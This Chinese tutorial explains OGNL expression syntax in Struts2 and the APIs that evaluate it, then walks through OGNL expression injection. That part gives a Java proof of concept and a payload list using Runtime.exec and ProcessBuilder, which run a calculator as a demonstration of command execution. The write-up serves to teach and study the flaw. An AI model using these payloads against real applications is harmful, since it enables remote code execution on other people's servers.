支持各种纷繁复杂的表达式, 但是最最基本的表达式的原型是将对象的引用值用点从左到右串联起来, 每一次表达式计算返回的结果成为当前对象, 后面部分接着在当前对象上进行计算, 一直到全部表达式计算完成, 返回最后得到的对象.OGNL
则针对这条基本原则进行不断的扩充, 从而使之支持对象树、数组、容器的访问, 甚至是类似SQL
中的投影选择等操作.
基本对象树访问
对象树的访问就是通过使用点号将对象的引用串联起来进行, 例如:
xxxx
xxxx.xxxx
xxxx.xxxx.xxxx
容器变量访问
对容器变量的访问, 是通过#
加上表达式进行的, 例如:
#xxxx
#xxxx.xxxx
#xxxx.xxxx.xxxx.xxxx
操作符号
OGNL
表达式中能使用的操作符基本跟Java
里的操作符一样, 除了能使用+
,-
,*
,/
,++
,--
,==
,!=
,=
等操作符外, 还能使用mod
,in
,not in
等.
容器、数组、对象
OGNL
支持对数组和ArrayList
等容器的顺序访问, 例如:group.users[0]
. 同时,OGNL
支持对Map
的按键值查找, 例如:#session['mySessionPropKey']
. 不仅如此,OGNL
还支持容器的构造的表达式, 例如:{"green", "red", "blue"}
构造一个List
,#{"key1" : "value1", "key2" : "value2", "key3" : "value3"}
构造一个Map
. 也可以通过任意类对象的构造函数进行对象新建, 例如:new Java.net.URL("xxxxxx/")
.
静态方法或变量的访问
要引用类的静态方法和字段, 它们的表达方式是一样的@class@member
或者@class@method(args)
, 例如:@com.javaeye.core.Resource@ENABLE
,@com.javaeye.core.Resource@getAllResources
.
方法调用
直接通过类似Java
的方法调用方式进行, 甚至可以传递参数, 例如:user.getName()
,group.users.size()
,group.containsUser(#requestUser)
.
投影和选择
OGNL
支持类似数据库中的投影(projection)和选择(selection).
投影就是选出集合中每个元素的相同属性组成新的集合, 类似于关系数据库的字段操作, 投影操作语法为collection.{XXX}
, 其中XXX
是这个集合中每个元素的公共属性, 例如:group.userList.{username}
将获得某个group
中的所有user
的name
的列表.
选择就是过滤满足selection
条件的集合元素, 类似于关系数据库的纪录操作, 选择操作的语法为:collection.{X YYY}
, 其中X
是一个选择操作符, 后面则是选择用的逻辑表达式. 而选择操作符有三种:
?
选择满足条件的所有元素.^
选择满足条件的第一个元素.$
选择满足条件的最后一个元素.
例如:group.userList.{? #txxx.xxx != null}
将获得某个group
中user
的name
不为空的user
的列表.
OGNL 语法树
OGNL
语法树有两种形式, 每个括号对应语法树上的一个分支, 并且从最右边的叶子节点开始解析执行:
(expression)(constant) = value
(constant)((expression1)(expression2))
其它
. 符号
所有的OGNL
表达式都基于当前对象的上下文来完成求值运算, 链的前面部分的结果将作为后面求值的上下文, 例如:
name.toCharArray()[0].numbericValue.toString()
提取根(
root
)对象的name
属性.调用上一步返回的结果字符串的
toCharArray
方法.提取返回结果数组的第一个字符.
获取字符的
numbericValue
属性, 该字符是一个Character
对象,Character
类有个getNumeericValue
方法.调用结果
Integer
对象的toString
方法.
%, #, $ 的区别
# 符
#
符主要有三种用途:
访问非根对象属性, 即访问
OGNL
上下文和Action
上下文, 由于Struts2
中值栈被视为根对象, 所以访问其他非根对象时需要加#
前缀,#
相当于ActionContext.getContext()
;用于过滤和投影(
projecting
)集合, 例如:books.{? #this.price<100}
;用于构造
Map
, 例如#{'foo1':'bar1', 'foo2':'bar2'}
.
% 符
%
符的用途是在标志的属性为字符串类型时, 告诉执行环境%{}
里的是OGNL
表达式并计算表达式的值.
$ 符
$
符的主要作用是在相关配置文件中引入OGNL
表达式, 让其在配置文件中也能解析OGNL
表达式.
., #, @ 的区别
获取静态函数和变量的时候用
@
.获取非静态函数用
.
号.获取非静态变量用
#
.
OGNL 与 EL 的区别
OGNL
表达式是Struts2
的默认表达式语言, 所以只针对Struts2
标签有效; 然而EL
在HTML
中也可以使用.Struts2
标签用的都是OGNL
表达式语言, 所以它多数都是去值栈的栈顶找值, 找不到再去作用域; 相反,EL
都是去Map
集合作用域中找.
能解析 OGNL 的 API
能解析OGNL
的API
如下表所示:
类名 | 方法名 |
---|---|
com.opensymphony.xwork2.util.TextParseUtil | translateVariables, translateVariablesCollection |
com.opensymphony.xwork2.util.TextParser | evaluate |
com.opensymphony.xwork2.util.OgnlTextParser | evaluate |
com.opensymphony.xwork2.ognl.OgnlUtil | setProperties, setProperty, setValue, getValue, callMethod, compile |
org.apache.struts2.util.VelocityStrutsUtil | evaluate |
org.apache.struts2.util.StrutsUtil | isTrue, findString, findValue, getText, translateVariables, makeSelectList |
org.apache.struts2.views.jsp.ui.OgnlTool | findValue |
com.opensymphony.xwork2.util.ValueStack | findString, findValue, setValue, setParameter |
com.opensymphony.xwork2.ognl.OgnlValueStack | findString, findValue, setValue, setParameter, trySetValue |
ognl.Ognl | parseExpression, getValue, setValue |
调用过程中可能会涉及到的一些类:
涉及类名 | 方法名 |
---|---|
com.opensymphony.xwork2.ognl.OgnlReflectionProvider | getGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValue |
com.opensymphony.xwork2.util.reflection.ReflectionProvider | getGetMethod, getSetMethod, getField, setProperties, setProperty, getValue, setValue |
OGNL 表达式注入漏洞
漏洞原理
上文中讲到了OGNL
可以访问静态方法、属性以及对象方法等, 其中包含可以执行恶意操作如命令执行的类java.lang.Runtime
等, 当OGNL
表达式外部可控时, 攻击者就可以构造恶意的OGNL
表达式来让程序执行恶意操作, 这就是OGNL
表达式注入漏洞.
POC
可以看到getValue
和setValue
都能成功解析恶意的OGNL
表达式.
package h3rmek1t.javawebsecurity;
import ognl.Ognl;
import ognl.OgnlContext;
/**
* @Author: H3rmesk1t
* @Data: 2022/3/19 1:34 上午
*/
public class ognlExploit {
public static void main(String[] args) throws Exception {
// 创建一个 OGNL 上下文对象.
OgnlContext ognlContext = new OgnlContext();
// 触发 getValue.
Ognl.getValue("@java.lang.Runtime@getRuntime().exec('open -a Calculator')", ognlContext, ognlContext.getRoot());
// 触发 setValue.
Ognl.setValue(Runtime.getRuntime().exec("open -a Calculator"), ognlContext, ognlContext.getRoot());
}
}
过程分析
在Ognl.getValue
处打下断点, 跟进Ognl#getValue
方法, 会调用Ognl#parseExpression
方法, 该方法将传入的String
类型的字符串解析为OGNL
表达式能理解的ASTChain
类型.
接着将传入的ASTChain
类型的tree
参数转换成Node
类型(ASTChain
继承自SimpleNode
、SimpleNode
继承自Node
), 再调用其getValue
函数继续解析.
跟进SimpleNode#evaluateGetValueBody
, 可以看到其会继续调用getValueBody
方法.
接着跟进ASTMethod#getValueBody
, 这里会循环解析ASTChain
中每个节点的表达式, 这里有两个子节点, 首先会解析第一个节点即@java.lang.Runtime@getRuntime()
这个OGNL
表达式, 接着会调用OgnlRuntime#callMethod
.
跟进OgnlRuntime#callMethod
, 接着会调用ObjectMethodAccessor#callMethod
, 获取到java.lang.Runtime
类的getRuntime
方法后, 会进一步调用OgnlRuntime#callAppropriateMethod
方法进行解析.
跟进OgnlRuntime#callAppropriateMethod
中, 这里通过调用invokeMethod
函数来实现OGNL
表达式中的类方法的调用.
跟进invokeMethod
函数, 会调用Method.invoke
, 即通过反射机制实现java.lang.Runtime.getRuntime
方法的调用.
简单地说,OGNL
表达式的getValue
解析过程就是先将整个OGNL
表达式按照语法树分为几个子节点树, 然后循环遍历解析各个子节点树上的OGNL
表达式, 其中通过Method.invoke
即反射的方式实现任意类方法调用, 将各个节点解析获取到的类方法通过ASTChain
链的方式串连起来实现完整的表达式解析、得到完整的类方法调用.
Payload
// 获取 Context 里面的变量.
#user
#user.name
// 使用 Runtime 执行系统命令.
@java.lang.Runtime@getRuntime().exec("open -a Calculator")
// 使用 Processbuilder 执行系统命令.
(new java.lang.ProcessBuilder(new java.lang.String[]{"open", "-a", "Calculator"})).start()
// 获取当前路径.
@java.lang.System@getProperty("user.dir")